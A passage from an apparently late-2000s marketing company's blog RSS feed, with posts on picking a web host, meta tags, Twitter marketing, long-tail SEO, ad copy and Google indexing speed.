both.</p><p>They can do this because for every 100 customers that use  virtually no resources there will be 1 that actually does have a popular  resource intensive web site.  So, a  balance is created where the popular site uses more server resources while most  of the sites use a lot less. </p><p>Here is the hidden “gotcha”: if you are the owner of that  popular site it is very common for the web host to demand that you upgrade to a  more expensive account or even a dedicated server.  If you read the TOS carefully, you’ll see  they can do this at any time.  This is  about as close to bait and switch you can get in the hosting world.</p><p>The bottom line is that unlimited really isn’t unlimited.  It’s more like: unlimited until you hit an arbitrary  undisclosed usage level then you have to pony up some more cash or get the heck  off the server.</p><h3>Never Pre-Pay for Multiple Months in Advance</h3><p>May hosts will offer a discount if you sign up for 3, 6, or  12 months up front.  In exchange for  paying one big lump sum, they provide a pretty significant discount.  This is a bad idea for three reasons:</p><ul><li>If the web host’s service should decline over time  and you want to switch to a new host, you can kiss the unused portion of the  pre-paid amount goodbye.  This also  applies to web hosts that go out of business.   When they fold there is very little chance of getting your money back.</li><li>If your site grows and the web host demands that  you upgrade, the pre-paid balance usually applies to the new rate but you can’t  get a discount on the new rate without committing to even more time. </li><li>If the host decides to kick you off their  servers due to a TOS violation then you forfeit the unused portion.  For example a client of mine pre-paid <a href="http://hostican.com/" target="_blank" rel="nofollow">HostICan</a> for 12 months of service.  The  service was fine for 3 months and then when his gallery script started using  too much processor time they killed the account and refused to refund the  pre-paid portion.  The amount was too  small to take to small claims court. So, not only was his site removed without  warning costing him sales but,  he also  had to go through the pain of manually moving his site to a new host.</li></ul><h3>Guaranteed Uptime is B.S.</h3><p>Sometime in the early days of the Internet, a web host got  the bright idea to advertise that they have 99.9%.  While this looks good in ad copy it’s a  hollow promise that 99.9% of them cannot back up with data.  99.9% uptime equates to about 44 minutes of  down time per month or 8 hours and 45 minutes a year.   This is a pretty easy hurdle to clear  assuming nothing out of the ordinary happens like a DDOS attack or hard drive  failure. </p><p>Unless you have multiple redundant web servers all over the  world there is going to be some downtime.    It’s not possible to predict how much downtime a server will have, and  if the person could accurately guess, they would be better off picking Kentucky  Derby winners than being server administrators.</p><p>Overall, don’t factor the uptime guarantee into your hosting  choice.  It’s complete B.S.</p><h3>24/7 Technical Support isn’t Always 24/7</h3><p>A lot of hosts promise this but few can actually  deliver.   Unfortunately, web server problems  do not always happened during regular business hours.  Your web site can go down at any time and  having support staff available is the difference between being down a couple of  minutes or being down for hours.  Your  web host must have people available 24/7 to handle any problems that may  arise. </p><p>You can easily test the support capabilities of your host  and their response time easily.  All you  need to do is submit a support ticket at an off time like after midnight on a  weekend.  You should expect more than  just an acknowledgement of receipt but an actual answer/solution to your  problem.   If you don’t get a resolution or  at least an acknowledgement that they are working on the problem in an hour  then that should be a red flag.  If they  have a support phone number give that a ring as well.  Again a person that can actually solve your  question should be available not just an operator that tells you that they are  working on it. One caveat is that small problems will often be prioritized  lower than a critical problem like a sever going down.  So during off peak times fewer staff will be  available so a small problem will have a longer delay than normal.</p><h3>Doing Your Homework Can Save you From a Major Headache</h3><p>There are hundreds of web hosts out there.  They span the gamut from excellent to just  plain bad.  Price is not a reliable indicator  of quality.  Since they all offer a  slightly different mix of hard drive space, bandwidth, control panels, etc…, it  is difficult to accurately compare them to each other.  By doing some basic research you can quickly  weed out the poor performers.</p><p>I use message boards like <a href="http://webhostingtalk.com/" target="_blank">Web Hosting Talk</a> to research  potential hosting providers.  By using  their search feature, you can find all the posts , good and bad, that discuss  your potential future host.  Make sure to  read through both the positive and negative reviews.  Not all negative reviews are based on something  the host can control and not all positive reviews are unbiased.  I’ve seen more than one suspiciously glowing  review of a host. </p><p>Of course you can also use Google to find out more  info.  Just do a search for:</p><ul><li>WebHostName problems</li><li>WebHostName issues</li><li>WebHostnme downtime</li><li>WebHostname review</li></ul><p>Keep in mind to take any recommendation with a grain of  salt.  Any review will be biased but at  least you can quickly weed out the losers and identify popular hosts from the  rest of the pack.</p><p>Overall, the best advice I can give you is when you do find  a good web host that has good support, features, and uptime, stick with  them.  Chasing after a dollar or two  savings per month is not worth the hassle or potential down time. </p><p>Happy web host shopping and make sure to check back  often.  I’ll be releasing a comprehensive  guide to selecting the right type of web hosting for your site in the next couple weeks.</p> ]]></content:encoded> <wfw:commentRss>http://www.vistawebmedia.com/5-tips-on-how-to-select-a-good-web-host/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>All Meta Tags Are Not Created Equal</title><link>http://www.vistawebmedia.com/all-meta-tags-are-not-created-equal</link> <comments>http://www.vistawebmedia.com/all-meta-tags-are-not-created-equal#comments</comments> <pubDate>Fri, 27 Feb 2009 22:14:09 +0000</pubDate> <dc:creator>Glenn Jimerson</dc:creator> <category><![CDATA[SEO Tips]]></category> <category><![CDATA[Meta Tags]]></category> <category><![CDATA[SEO]]></category><guid isPermaLink="false">http://www.vistawebmedia.com/?p=322</guid> <description><![CDATA[I remember the good ol’ days of search  engine optimization before Page Rank and all those annoying quality  indicators.  It was a simpler day when all  you needed to get into the top ten was  cram  variations of the same keyword phrases into the Keyword and Title tag.  Then you could [...]]]></description> <content:encoded><![CDATA[<p>I remember the good ol’ days of <a href="http://www.vistawebmedia.com/services/search-engine-optimization/">search  engine optimization</a> before Page Rank and all those annoying quality  indicators.  It was a simpler day when all  you needed to get into the top ten was  cram  variations of the same keyword phrases into the Keyword and Title tag.  Then you could get extra fancy and create  some incredibly repetitive description tag like: “Widget Emporium has red  widgets, blue widgets, camping widgets, car widgets, and more.  Stop by today to get more widgets, widgets,  widgets”.  Yes it really was that easy at  first, but today’s search engine isn’t as naive as it was in the early days.  From the looks of a lot of sites I’ve been  reviewing lately they didn’t get the memo.</p><p> If it was 1997, and judging by the stock market’s  performance it just might be, the era of stuffing keywords into meta tags is  long over.  The Keyword tag has been  ignored by Google for years.  Some of my colleagues  believe it helps in Yahoo.  Frankly, I’ve  started leaving it out all together and my sites still show up in the top 10.  </p><p> As for the Description tag, its use for ranking is nominal  at best, but it is still quite useful.  When  someone sees your website in the search engine rankings, the Description tag is  often used as the snippet under the link.   Yes, there are exceptions like pulling a description from <a href="http://dmoz.org/" target="_blank">DMOZ</a> but  generally speaking the Description tag is used.   Think of this tag as an opportunity to convince the surfer your website  is exactly where they want to visit.</p><p> So what is useful?  We  already discussed the handy but not rank worthy Description tag and the  virtually worthless Keyword tag.  The  last one, and one of the more important tags on your site, is the Title tag.  Not only is this one used for ranking, but it  also shows up as the link that people click on when they find your site in the  search engines.  Combine a compelling  Title with a persuasive Description tag and you’re one step closer to getting  that person off the search engine and onto your web site.  Plus, it helps with your ranking, so always use  this tag and make it unique! </p><p>SEO is about doing a lot of little things right that add up  to a big leap in the search engine rankings.   Make sure to keep an eye on the little things that matter like the Title  and Description tags and spend little to no time with the lowly Keyword tag. </p> ]]></content:encoded> <wfw:commentRss>http://www.vistawebmedia.com/all-meta-tags-are-not-created-equal/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Using Twitter to Do Social Media the Right Way</title><link>http://www.vistawebmedia.com/twitter-social-media</link> <comments>http://www.vistawebmedia.com/twitter-social-media#comments</comments> <pubDate>Wed, 18 Feb 2009 17:51:50 +0000</pubDate> <dc:creator>Glenn Jimerson</dc:creator> <category><![CDATA[Social Media Marketing]]></category> <category><![CDATA[Twitter]]></category><guid isPermaLink="false">http://www.vistawebmedia.com/?p=290</guid> <description><![CDATA[&#8220;Try not to be a man of success, but rather try to become a man of value&#8221; -A. Einstein Social Media Marketing is all the rage right now.  Going viral or hitting the front page of  Digg, Reddit, etc… seems to be the Internet Marketer’s Holy Grail.  I have to admit it is very useful [...]]]></description> <content:encoded><![CDATA[<p><strong>&#8220;Try not to be a man of success, but rather try to become a man of value&#8221; -A. Einstein</strong></p><p>Social Media Marketing is all the rage right now.  Going viral or hitting the front page of <a href="http://digg.com/" target="_blank">Digg</a>, <a href="http://www.reddit.com/" target="_blank">Reddit</a>, etc… seems to be the Internet Marketer’s Holy Grail.  I have to admit it is very useful for:</p><ol><li>Getting immediate feedback from customers</li><li>Managing a company’s brand</li><li>Connecting with likeminded individuals that  would have otherwise not have been exposed to your product. </li></ol><p><img src="http://www.vistawebmedia.com/images/blog/2009/02/18/social-media-marketing.jpg" alt="Social Media Marketing with Twitter" width="200" height="150" align="left" / style="padding:0px 5px 5px 0px;">And the list goes on, but what is often left out of the hype  is the idea of doing it “right”.    Take one social media outlet <a href="http://twitter.com/" target="_blank">Twitter</a>.  I’m a fan of Twitter.  The best way I can describe it is image  wandering through a big cocktail party listening in on various conversations.  In one corner you’ve got people talking about  the latest stock tips.  In another you’ve  got techno junkies discussing <a href="http://www.vistawebmedia.com/services/search-engine-optimization/">SEO</a> or the latest iPhone gadget.  If you listen to the right conversation you  can hear what your customers think about your product or your company over  all.  You can hear what they have to say  about the virtues and shortcomings your competitors.<br /> What makes this social ecosystem go round is the idea that  real people are talking about their real feelings and experiences.  The tech-savvy online crowd has industrial  strength B.S. detectors.  Like sharks who  can detect a drop of blood from miles away, the social media crowd can quickly sniff  out a sales pitch in the midst of the social media sea.  And once that happens, your social media  street-cred goes down significantly.</p><h3>So what does this all  mean and how can it help your business?</h3><p> The first thing I would tell you is to drop the hard-sell  in-your-face type of advertising.  It just  doesn’t work in the social media world.   Spam an affiliate link or two via Twitter and your followers will  unfollow you faster than fair weather sports fans dropped the Cardinals after  they lost the Super Bowl.  The goal is to  be a part of the community, whatever community that may be.</p><h3>How to Get Started:</h3><ol><li>Sign up for a Twitter Account</li><li>Upload a photo and customize your page as much as you can. This is important because it is a quick and easy way to separate yourself from the fake spammer accounts.</li><li>Download and install  a program called <a href="http://www.tweetdeck.com/beta/">TweetDeck</a> that uses <a href="http://get.adobe.com/air/">Adobe Air</a>. Don&#8217;t worry both are free.</li><li>At the top of the window will be several icons. One of them looks like a magnifying glass. Click on that one to search for specific keywords related to your industry.</li><li>Start following people who are tweeting about your area of expertise.</li><li>When someone tweets about your area of expertise contribute a comment with a &#8220;Reply&#8221;. Just hover over their photo and click on the icon that looks like a curved arrow.</li></ol><p>You&#8217;ll find that a lot of the people you follow will follow you back. Make sure to tweet regularly with useful tips, news, insights, etc&#8230; that would be interesting to your audience. Remember you don&#8217;t want to come across like a spam bot but as a real person that adds value to the community. Once you are established as someone who adds value, then you&#8217;ve tapped into a powerful network of people who see you as an expert in your field. This can be used to find clients, get valuable answers to your own questions, and can help you spread a message across the Internet. Not a bad ROI if I do say so myself.</p> ]]></content:encoded> <wfw:commentRss>http://www.vistawebmedia.com/twitter-social-media/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Long Tail SEO Process</title><link>http://www.vistawebmedia.com/long-tail-seo-process</link> <comments>http://www.vistawebmedia.com/long-tail-seo-process#comments</comments> <pubDate>Tue, 20 Jan 2009 00:19:36 +0000</pubDate> <dc:creator>Glenn Jimerson</dc:creator> <category><![CDATA[SEO Tips]]></category> <category><![CDATA[Keyword Research]]></category> <category><![CDATA[Long Tail]]></category> <category><![CDATA[SEO]]></category><guid isPermaLink="false">http://www.vistawebmedia.com/long-tail-seo-process.html</guid> <description><![CDATA[When it comes to SEO, everyone wants to rank in the top 10 for their  keyword. As a Phoenix SEO, that is  the reason people hire me. But what a lot of people don’t understand is the  value of key word phrases. Today’s search engine users are getting more and  more [...]]]></description> <content:encoded><![CDATA[<p>When it comes to SEO, everyone wants to rank in the top 10 for their  keyword. As a <a href="http://www.vistawebmedia.com">Phoenix SEO</a>, that is  the reason people hire me. But what a lot of people don’t understand is the  value of key word phrases. Today’s search engine users are getting more and  more sophisticated. Back in the early days, people would type in their keyword  and up would pop results.  Often those  results did not return exactly what they are looking for. While most of the  major search engines have been good about improving their results, users have  learned to narrow their search by performing searches for phrases instead of  individual words. For instance, someone looking for “cars” would get millions  of results, only some of which are actually useful. So to improve those results,  people perform more specific searches like “used cars” or “Honda used cars.” We  in the SEO industry refer to hits for these phrases as the “long tail.”</p><p><span id="more-168"></span></p><p>I’ll let you folks in on a little secret. Sometimes the amount of traffic  coming from long tail phrases is greater than the traffic from one strong  keyword. I know it sounds crazy, but looking at my personal sites and those of  my clients I’ve seen this distinct pattern emerge time after time. While one or  two key words will get thousands of hits, these phrases may get 10 or 20. But  there are hundreds of phrases contained in a site.</p><p>The long tail is your friend for two distinct reasons. Number one: you are  getting traffic and from my perspective, all traffic is good. Number two: your  visitors are getting a better search experience because they are more than  likely to find exactly what they are looking for on your site. A happy targeted  surfer is more likely to convert to a sale.</p><p>So should you be targeting long tail terms? Of course! When I plan a SEO  campaign, I’ll pop open a spread sheet and type all my key words in one column.  In the next column I’ll put in all the modifiers, i.e. the stuff that makes up  the phrases. Going back to my previous example, I’ll put “cars, automobile, and  autos” in column one. In the next column, I’ll put in “Honda, Toyota, and Chevy.” In the next column I’ll  put in “new, used, and previously owned.” Now comes  the fun part, mixing and matching. Start  making phrases with all your words. Mix and match is the name of the game. When  you’re done, take your combinations and pop them into your favorite search  engines. See if there is actually any competition for those phrases. Once  you’ve done that, use a tool like <a href="http://www.wordtracker.com/" target="_blank" rel="nofollow">WordTracker</a> or <a href="http://inventory.overture.com/d/searchinventory/suggestion/" target="_blank" rel="nofollow">Overture’s</a> free tool to see how often people actually search for those phrases. When you  find a combination that has few competitors and a high number of searches  you’ve got a winning phrase that should get you some nice long tail traffic.</p><p>Now that you’ve got your list of phrases, make sure to incorporate them into  your <a href="http://www.vistawebmedia.com/seo-friendly-ad-copy/">SEO friendly  ad copy</a>. You need to be smart, and write it so it’s as appealing to people  as it is to a search engine spider. I guarantee when you start consciously  targeting the long-tail phrases you’ll get more target traffic to your site.</p> ]]></content:encoded> <wfw:commentRss>http://www.vistawebmedia.com/long-tail-seo-process/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>SEO Friendly Ad Copy</title><link>http://www.vistawebmedia.com/seo-friendly-ad-copy</link> <comments>http://www.vistawebmedia.com/seo-friendly-ad-copy#comments</comments> <pubDate>Tue, 06 Jan 2009 00:14:52 +0000</pubDate> <dc:creator>Glenn Jimerson</dc:creator> <category><![CDATA[SEO Tips]]></category> <category><![CDATA[SEO]]></category> <category><![CDATA[Writing Ad Copy]]></category><guid isPermaLink="false">http://www.vistawebmedia.com/seo-friendly-ad-copy.html</guid> <description><![CDATA[Ask yourself this question, “Who buys products on your site? Search Engines  or people?” Obviously, the answer is people.   So why are you writing your sales text for search engine spiders? I  know, you’ve read online that you have to stuff your pages with relevant  keywords so the engines will love [...]]]></description> <content:encoded><![CDATA[<p>Ask yourself this question, “Who buys products on your site? Search Engines  or people?” Obviously, the answer is people.   So why are you writing your sales text for search engine spiders? I  know, you’ve read online that you have to stuff your pages with relevant  keywords so the engines will love you and rank your site in the top 10 in the  search engines. But, when you write your text solely for the purpose of search  engine spiders, your message may fall flat with consumers. For example:</p><blockquote><p>“Our mega store has NFL footballs for sale at low prices. NFL Footballs are  a great gift for children of all ages. Buy our NFL footballs on line right now.”</p></blockquote><p><span id="more-167"></span></p><p>As you can see, it is clearly written for the key words “NFL Footballs.” I  know you’re thinking that I wrote that terribly to prove my point, but no.   I’ve  found text that bad on a client’s site. Granted, it does have a high density  for the keyword phrase, but stuffing your phrase into every sentence is not  going to win you any points with search engines. More than likely, you’re going  to get hit with an over optimization penalty, and, even worse, potential  customers are going to walk away with a negative impression of your business.  Take a look at the same pitch only rewritten:</p><blockquote><p>“We have the best prices on NFL footballs in Minnesota. Made from premium quality leather  our footballs are built to take NFL-style punishment and come out shiny and  new. Whether your athlete is in high-school, college, or pee wee league, these  pro NFL footballs are perfect for any age.”</p></blockquote><p>This new pitch still mentions NFL footballs as often as the last one, but it  presents it in a much more natural sales-oriented way. Not to mention, we are  going to grab some <a href="http://www.vistawebmedia.com/long-tail-seo-process/">long  tail</a> terms by seeding the text with keywords that pertain to the target  market (high-school, pee wee, etc.) and it even mentions the geographic  location: Minnesota.  If you were a consumer, which pitch do you find more appealing?</p><p>Writing proper ad copy is both an art and a science. Just practice a bit and  you’ll find that you’ll start writing SEO friendly ad copy. So in conclusion,  write for people first, search engines second.</p> ]]></content:encoded> <wfw:commentRss>http://www.vistawebmedia.com/seo-friendly-ad-copy/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Google&#8217;s Speedy Spider</title><link>http://www.vistawebmedia.com/google-index-update-speed</link> <comments>http://www.vistawebmedia.com/google-index-update-speed#comments</comments> <pubDate>Sun, 28 Dec 2008 03:58:59 +0000</pubDate> <dc:creator>Glenn Jimerson</dc:creator> <category><![CDATA[SEO Tips]]></category> <category><![CDATA[Google]]></category> <category><![CDATA[SEO]]></category> <category><![CDATA[SERPs]]></category><guid isPermaLink="false">http://www.vistawebmedia.com/google-index-update-speed/</guid> <description><![CDATA[On Saturday, I was having some technical trouble with one of my Linux web  servers. After scouring the web for an answer with no solution in sight, I  decided to call in reinforcements and ask a question over at Web Hosting Talk. Being ever  persistent, I went back and started toying with [...]]]></description> <content:encoded><![CDATA[<p>On Saturday, I was having some technical trouble with one of my Linux web  servers. After scouring the web for an answer with no solution in sight, I  decided to call in reinforcements and ask a question over at <a href="http://www.webhostingtalk.com/" target="_blank" rel="nofollow">Web Hosting Talk</a>. Being ever  persistent, I went back and started toying with my server some more. Then my  computer-nerd-ADD set in, and I decide to go back to Google and type in the  specific error code I was getting, just in case I missed it the last 20 times I  did a search. As my eyes scanned the SERPs, my heart leapt when I saw my exact  error code nice and bold. But wait, this link points to Web Hosting Talk  forums. I read the blurb a little further and realize that it’s my post! In  less than 10 minutes Google had spidered WHT and indexed it.</p><p><span id="more-170"></span></p><p>So what exactly is the significance? When it comes to established web sites  that have a certain amount of authority, the big G won’t hesitate to snap up  new pages and pop them into the index. I know what you’re thinking, &quot;Yeah,  that’s great <a href="http://www.glennjimerson.com/" target="_blank">Glenn</a>,  but we already know about the Google Sandbox and trusted authority sites.” My  point is I think the speed at which new pages can be spidered and indexed has  far been underestimated. Instead of waiting a day or two to see pages in the  SERPs, it’s actually possible for them to appear in a matter of minutes. That’s  one Speedy Spider!</p> ]]></content:encoded> <wfw:commentRss>http://www.vistawebmedia.com/google-index-update-speed/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- This site's performance optimized by W3 Total Cache. Dramatically improve the speed and reliability of your blog!

Learn more about our WordPress Plugins: http://www.w3-edge.com/wordpress-plugins/

Minified using disk
Page Caching using disk (enhanced) (user agent is rejected)
Database Caching using disk
Content Delivery Network via cdn.vistawebmedia.com

Served from: server.vwmhosting.com @ 2010-09-09 08:16:17 -->